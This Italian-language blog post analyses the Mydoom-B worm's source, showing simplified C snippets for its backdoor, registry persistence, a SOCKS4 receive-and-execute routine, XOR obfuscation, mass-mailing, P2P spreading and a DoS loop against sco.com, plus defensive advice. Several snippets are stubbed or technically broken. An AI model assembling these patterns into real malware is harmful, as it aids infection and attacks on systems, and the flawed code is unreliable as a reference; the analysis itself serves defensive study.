

Analisi Codice del Malware Mydoom-B

Analisi Codice del Malware Mydoom-B

[#worm](#)[#malware](#)[#mydoom](#)[#analisiCodice](#)[#sicurezzaInformatica](#)

Introduzione

Mydoom è uno dei worm più noti della storia informatica. Scoperto nel 2004, si è diffuso rapidamente tramite email infette e attacchi mirati. Mydoom si installa nel sistema, crea una backdoor per il controllo remoto e si diffonde tramite email e reti P2P. Di seguito viene presentata un'analisi dettagliata di tutte le sue funzionalità.

Elenco Completa delle funzioni del codice

1. main.c

Funzione: `payload_xproxy`

- **Descrizione:** Decifra e installa una libreria di sistema (`shimgapi.dll`) per abilitare la backdoor. Questa libreria viene caricata nel sistema per consentire il controllo remoto.
- **Scopo:** Stabilire una backdoor nel sistema.
- **Codice:**

```
void payload_xproxy(struct sync_t *sync) {  
    // Carica e installa la libreria di backdoor  
    LoadLibrary(sync->xproxy_path);  
}
```

- **Esempio:** Se chiamata, `payload_xproxy` consente all'attaccante di controllare il sistema da remoto, caricando dinamicamente una libreria malevola.

Funzione: `sync_install`

- **Descrizione:** Copia il malware nelle directory di sistema per garantirne l'esecuzione continua.
- **Scopo:** Garantire la persistenza del malware.
- **Codice:**

```
void sync_install(struct sync_t *sync) {  
    // Copia il malware nelle directory di sistema  
    CopyFile(sync->source_path, sync->target_path,  
    FALSE);  
}
```

- **Esempio:** Dopo l'installazione, il malware può ripristinarsi automaticamente anche se viene rimosso manualmente.

Funzione: `sync_startup`

- **Descrizione:** Configura l'avvio automatico del malware ogni volta che il sistema viene riavviato, modificando il registro di Windows.
- **Scopo:** Assicurare l'esecuzione automatica del malware.
- **Codice:**

```
void sync_startup(struct sync_t *sync) {  
    HKEY hKey;  
    RegOpenKey(HKEY_CURRENT_USER,  
    "Software\\Microsoft\\Windows\\CurrentVersion\\Run",  
    &hKey);  
    RegSetValueEx(hKey, "TaskMon", 0, REG_SZ,  
    (BYTE*)sync->xproxy_path, strlen(sync->xproxy_path));  
    RegCloseKey(hKey);  
}
```

- **Esempio:** `sync_startup` crea una chiave di registro che fa sì che il malware si riavvii automaticamente.

2. xproxy.c

Funzione: `socks4_exec`

- **Descrizione:** Riceve un file tramite socket e lo esegue nel sistema. Viene usato per eseguire comandi da remoto, come parte della backdoor.
- **Scopo:** Permettere l'esecuzione di file e comandi da remoto.
- **Codice:**

```
static void socks4_exec(int sock) {  
    char buf[MAX_PATH];  
    recv(sock, buf, MAX_PATH, 0);  
    FILE *fp = fopen("malicious.exe", "wb");  
    fwrite(buf, sizeof(char), sizeof(buf), fp);  
    fclose(fp);  
    STARTUPINFO si = {0};  
    PROCESS_INFORMATION pi = {0};  
    CreateProcess(NULL, "malicious.exe", NULL, NULL,  
    FALSE, 0, NULL, NULL, &si, &pi);  
}
```

- **Esempio:** Con `socks4_exec`, l'attaccante può inviare ed eseguire file a distanza, garantendo il controllo completo.

Funzione: `socks4_main`

- **Descrizione:** Inizializza un server SOCKS4 che ascolta un intervallo di porte per creare un proxy di controllo remoto.
- **Scopo:** Stabilire un server proxy per l'accesso remoto.
- **Codice:**

```
int socks4_main(int port, int initthreads) {  
    SOCKET sockfd;  
    struct sockaddr_in servaddr;  
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
```

```

servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);
bind(sockfd, (struct sockaddr*)&servaddr,
sizeof(servaddr));
listen(sockfd, 5);
while (1) {
    int connfd = accept(sockfd, (struct
sockaddr*)NULL, NULL);
    socks4_exec(connfd);
}
}

```

- **Esempio:** Con `socks4_main`, l'attaccante può accedere al sistema infetto attraverso un server proxy SOCKS4.

3. client.c

Funzione: `main`

- **Descrizione:** Funzione client che si connette a un server remoto e invia un file binario. Utilizzata per trasferire file al server.
- **Scopo:** Trasferire file al server remoto.
- **Codice:**

```

void main(int argc, char *argv[]) {
    // Codice per la connessione al server SOCKS4 e invio
    del file
    SOCKET sockfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(sockfd, (struct sockaddr*)&server,
sizeof(server));
    send(sockfd, "malicious_file",
sizeof("malicious_file"), 0);
    closesocket(sockfd);
}

```

- **Esempio:** Il client SOCKS4 utilizza `main` per inviare file come payload al sistema remoto.

4. crypt1.c

Funzione: `main`

- **Descrizione:** Crittografa o decrittografa un file usando una chiave XOR variabile, rendendo i dati meno rilevabili.
- **Scopo:** Offuscare file crittografando i dati.
- **Codice:**

```
int main(int argc, char *argv[]) {
    char key = 'X';
    FILE *file = fopen("infected_file", "rb+");
    char c;
    while (fread(&c, 1, 1, file)) {
        c ^= key;
        fseek(file, -1, SEEK_CUR);
        fwrite(&c, 1, 1, file);
    }
    fclose(file);
}
```

- **Esempio:** Un file di configurazione può essere crittografato con XOR per evitare il rilevamento da parte di antivirus.

5. rot13.c

Funzione: `rot13c`

- **Descrizione:** Esegue una crittografia ROT13, spostando ogni lettera di 13 posizioni. Usata per offuscare testo semplice.
- **Scopo:** Offuscare testo usando la crittografia ROT13.
- **Codice:**

```
char rot13c(char c) {
    char u[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    char l[] = "abcdefghijklmnopqrstuvwxyz";
    char *p;
    if ((p = strchr(u, c)) != NULL) return u[((p - u) + 13) % 26];
    else if ((p = strchr(l, c)) != NULL) return l[((p - l) + 13) % 26];
    else return c;
}
```

- **Esempio:** La stringa "HELLO" viene offuscata in "URYYB".

6. cleanpe.cpp

Funzione: `main`

- **Descrizione:** Rimuove intestazioni superflue da file PE (Portable Executable), rendendoli meno identificabili come malware.
- **Scopo:** Evasione dei sistemi di sicurezza tramite rimozione di metadati.
- **Codice:**

```
void main(int argc, char *argv[]) {
    FILE *file = fopen(argv[1], "rb+");
    fseek(file, HEADER_OFFSET, SEEK_SET);
    fwrite(NULL, HEADER_SIZE, 1, file); // Rimuove
    l'intestazione
    fclose(file);
}
```

- **Esempio:** Il file PE risulta meno riconoscibile dai sistemi di rilevamento antivirus.

7. bin2c.c

Funzione: `main`

- **Descrizione:** Converte un file binario in un array di caratteri, permettendone l'integrazione diretta nel codice sorgente.
- **Scopo:** Convertire file binari in un formato incorporabile nel codice.
- **Codice:**

```
int main(int argc, char *argv[]) {  
    FILE *in = fopen(argv[1], "rb");  
    printf("const char file[] = {");  
    char c;  
    while (fread(&c, 1, 1, in)) {  
        printf("0x%02x, ", c);  
    }  
    printf("};");  
    fclose(in);  
}
```

8. lib.c

Funzione: `is_online`

- **Descrizione:** Verifica la connessione Internet utilizzando `wininet.dll`, assicurandosi che il sistema sia online.
- **Scopo:** Controllare la connessione Internet.
- **Codice:**

```
int is_online(void) {  
    return  
    InternetCheckConnection("http://www.google.com",  
    FLAG_ICC_FORCE_CONNECTION, 0);  
}
```

- **Esempio:** Il malware può verificare se il sistema è online prima di contattare i server di comando.

9. massmail.c

Funzione: `massmail_main`

- **Descrizione:** Gestisce la coda di email infette da inviare per diffondere il malware tramite email.
- **Scopo:** Diffusione tramite email infette.
- **Codice:**

```
void massmail_main(void) {  
    char *email_list[] = {"victim1@example.com",  
                           "victim2@example.com"};  
    for (int i = 0; i < sizeof(email_list) /  
        sizeof(email_list[0]); i++) {  
        send_infected_email(email_list[i]);  
    }  
}
```

- **Esempio:** Il malware invia email infette a una lista di contatti rubata.

Funzione: `mm_gen`

- **Descrizione:** Genera email basate su contatti esistenti, utilizzando nomi e domini comuni per aumentare le probabilità di apertura dei messaggi.
- **Codice:**

```
void mm_gen(void) {  
    char *names[] = {"John", "Alice", "Bob"};  
    char *domains[] = {"example.com", "mail.com",  
                       "test.com"};  
    for (int i = 0; i < sizeof(names) / sizeof(names[0]);  
        i++) {  
        for (int j = 0; j < sizeof(domains) /  
            sizeof(domains[0]); j++) {  
            printf("%s@%s\n", names[i], domains[j]); //  
            Genera un indirizzo email  
        }  
    }  
}
```



```
    }  
  }  
}
```

- **Esempio:** Il malware invia email infette a una lista di contatti rubata.

10. scan.c

Funzione: `scan_main`

- **Descrizione:** Scansiona i file locali per raccogliere indirizzi email, che il malware utilizza per espandere la propria rete.
- **Scopo:** Scansione dei file per raccogliere indirizzi email.
- **Codice:**

```
void scan_main(void) {  
    char *file_types[] = {".txt", ".html", ".asp"};  
    for (int i = 0; i < sizeof(file_types) /  
sizeof(file_types[0]); i++) {  
        scan_files_for_emails(file_types[i]);  
    }  
}
```

- **Descrizione:** `scan_main` estrae indirizzi email da file locali per aumentare la diffusione del malware.

Funzione: `scan_disk`

- **Descrizione:** Scansiona i dischi locali alla ricerca di file contenenti indirizzi email e altre informazioni utili per la propagazione del malware.
- **Codice:**

```
void scan_disks(void) {  
    // Esegue la scansione dei dischi locali per  
    indirizzi email
```

```
char *dirs[] = {"C:\\", "D:\\"};
for (int i = 0; i < sizeof(dirs) / sizeof(dirs[0]);
i++) {
    scan_directory(dirs[i]);
}
}
```

- **Esempio:** `scan_disks` permette al malware di scansionare interi dischi per raccogliere informazioni utili per la diffusione.

11. msg.c

Funzione: `create_email`

- **Descrizione:** Genera email con allegati infetti e intestazioni falsificate, appositamente progettate per ingannare il destinatario.
- **Scopo:** Creare email infette per la diffusione del malware.
- **Codice:**

```
void create_email(char *to, char *subject, char *body)
{
    printf("To: %s\nSubject: %s\n\n%s\n", to, subject,
body);
    add_attachment("infected_attachment.zip");
}
```

- **Esempio:** `create_email` costruisce email convincenti per spingere l'utente ad aprire l'allegato infetto.

12. p2p.c

Funzione: `search_files`

- **Descrizione:** Scansiona le reti peer-to-peer (P2P), come Kazaa, e sostituisce file legittimi con versioni infette.
- **Scopo:** Diffusione tramite reti P2P.


- **Codice:**

```
void search_files(void) {
    char *popular_files[] = {"music.mp3", "video.avi"};
    for (int i = 0; i < sizeof(popular_files) /
        sizeof(popular_files[0]); i++) {
        replace_with_infected_file(popular_files[i]);
    }
}
```

- **Esempio:** Il malware sostituisce file popolari nelle reti P2P con versioni infette, diffondendosi tramite download condivisi.

13. sco.c

Funzione: `scodos_main`

- **Descrizione:** Esegue un attacco DoS mirato a server specifici, come `www.sco.com`, sovraccaricandolo con richieste e rendendolo inaccessibile.
- **Scopo:** Attacco DoS contro server mirati.
- **Codice:**  Chiavi: worm, malware, mydoom, analisiCodice, sicurezzaInformatica

```
void scodos_main(void) {
    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = htons(80);
    inet_pton(AF_INET, "www.sco.com", &target.sin_addr);
    while (1) {
        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
        connect(sockfd, (struct sockaddr*)&target,
            sizeof(target));
        send(sockfd, "GET / HTTP/1.1\r\n\r\n", 18, 0);
        close(sockfd);
    }
}
```

```
}  
}
```

- **Esempio:** `scodos_main` è progettata per interrompere l'accesso a un server generando traffico eccessivo.

14. xdns.c

Funzione: `dns_query`

- **Descrizione:** Invia richieste DNS per risolvere i nomi di dominio dei server di comando e controllo (C&C).
- **Scopo:** Recuperare gli indirizzi IP dei server di comando.
- **Codice:**

```
void dns_query(char *domain) {  
    struct hostent *host = gethostbyname(domain);  
    if (host) {  
        printf("IP Address: %s\n", inet_ntoa(*(struct  
in_addr*)host->h_addr));  
    }  
}
```

- **Esempio:** `dns_query` ottiene l'indirizzo IP del server C&C, permettendo al malware di ricevere comandi.

15. xsmtp.c

Funzione: `smtp_send`

- **Descrizione:** Gestisce l'invio delle email tramite il protocollo SMTP, completando il processo di invio delle email infette.
- **Scopo:** Invio automatico di email infette.
- **Codice:**

```
void smtp_send(char *email, char *subject, char *body,
char *attachment) {
    printf("Sending to: %s\nSubject: %s\n", email,
subject);
    printf("Body:\n%s\n", body);
    printf("Attachment: %s\n", attachment);
}
```

- **Esempio:** `smtp_send` permette al malware di inviare email infette senza dipendere dal client email locale.

16. zipstore.c

Funzione: `create_zip`

- **Descrizione:** Crea file ZIP con all'interno copie infette del malware, utilizzati come allegati nelle email per evitare il rilevamento.
- **Scopo:** Offuscare i file infetti in archivi ZIP.
- **Codice:**

```
void create_zip(char *filename) {
    FILE *zip = fopen("infected.zip", "wb");
    FILE *file = fopen(filename, "rb");
    char buffer[1024];
    while (fread(buffer, 1, sizeof(buffer), file) > 0) {
        fwrite(buffer, 1, sizeof(buffer), zip);
    }
    fclose(file);
    fclose(zip);
}
```

- **Esempio:** `create_zip` comprime i file infetti in archivi ZIP, facilitando l'elusione dei sistemi di sicurezza.

Conclusione Finale

Mydoom è un malware scritto in linguaggio C che rappresenta una delle minacce più persistenti e complesse mai sviluppate, grazie alla sua capacità di combinare diverse tecniche di diffusione e offuscamento. Questo worm si diffonde principalmente tramite email e reti peer-to-peer, sfruttando un server SOCKS4 come backdoor e inviando istruzioni a dispositivi infetti attraverso un server di comando e controllo. Le sue funzionalità chiave includono:

1. **Persistenza:** Configura l'avvio automatico e copia se stesso nelle directory di sistema, assicurando che il malware sopravviva ai riavvii del sistema.
2. **Offuscamento:** Usa crittografia XOR e ROT13 e comprime i file infetti in archivi ZIP, il tutto per ridurre il rischio di rilevamento.
3. **Diffusione:** Tramite il modulo di invio massivo di email e la manipolazione delle reti P2P, Mydoom riesce a raggiungere velocemente un alto numero di sistemi.
4. **Attacco DoS:** Mydoom può generare un traffico eccessivo verso server mirati, rendendoli inaccessibili agli utenti legittimi.
5. **Backdoor e controllo remoto:** Utilizza un server SOCKS4 per aprire una backdoor nel sistema, fornendo all'attaccante il pieno controllo.

Prevenzione e Rimedi

Rimedi in caso di infezione:

- **Isolamento del sistema:** Disconnettere immediatamente il sistema dalla rete per evitare ulteriore diffusione e comunicazione con i server di comando e controllo.
- **Rimozione del malware:** Utilizzare software antivirus aggiornati con database malware estesi. Se possibile, eseguire scansioni in modalità provvisoria per ridurre le capacità operative del malware.
- **Ripristino del sistema:** Eseguire il ripristino da un backup affidabile o formattare il sistema se necessario, poiché i danni e le modifiche apportate potrebbero essere difficili da invertire manualmente.

Prevenzione dell'infezione:

- **Formazione degli utenti:** Educare gli utenti a riconoscere email di phishing e allegati sospetti è essenziale, in quanto Mydoom sfrutta tecniche di ingegneria sociale per ingannare le vittime.
- **Aggiornamenti e patch:** Mantenere i sistemi e i software sempre aggiornati. Le patch di sicurezza spesso includono protezioni contro le vulnerabilità sfruttate dai malware.
- **Sistemi di protezione avanzata:** L'uso di firewall, antivirus e sistemi di rilevamento delle intrusioni (IDS) contribuisce a bloccare tentativi di accesso non autorizzati e comportamenti sospetti.
- **Politiche di accesso e backup:** Limitare i privilegi di accesso e mantenere backup regolari in luoghi sicuri permette un recupero rapido in caso di infezione.

Conclusione

Mydoom evidenzia l'importanza di una strategia di sicurezza proattiva che comprenda educazione degli utenti, strumenti di sicurezza aggiornati e pratiche di backup affidabili. La capacità del malware di persistere e diffondersi tramite email, P2P e altre vulnerabilità fa sì che rimanga una minaccia concreta e duratura.



Chiavi: worm, malware, mydoom, analisiCodice, sicurezzaInformatica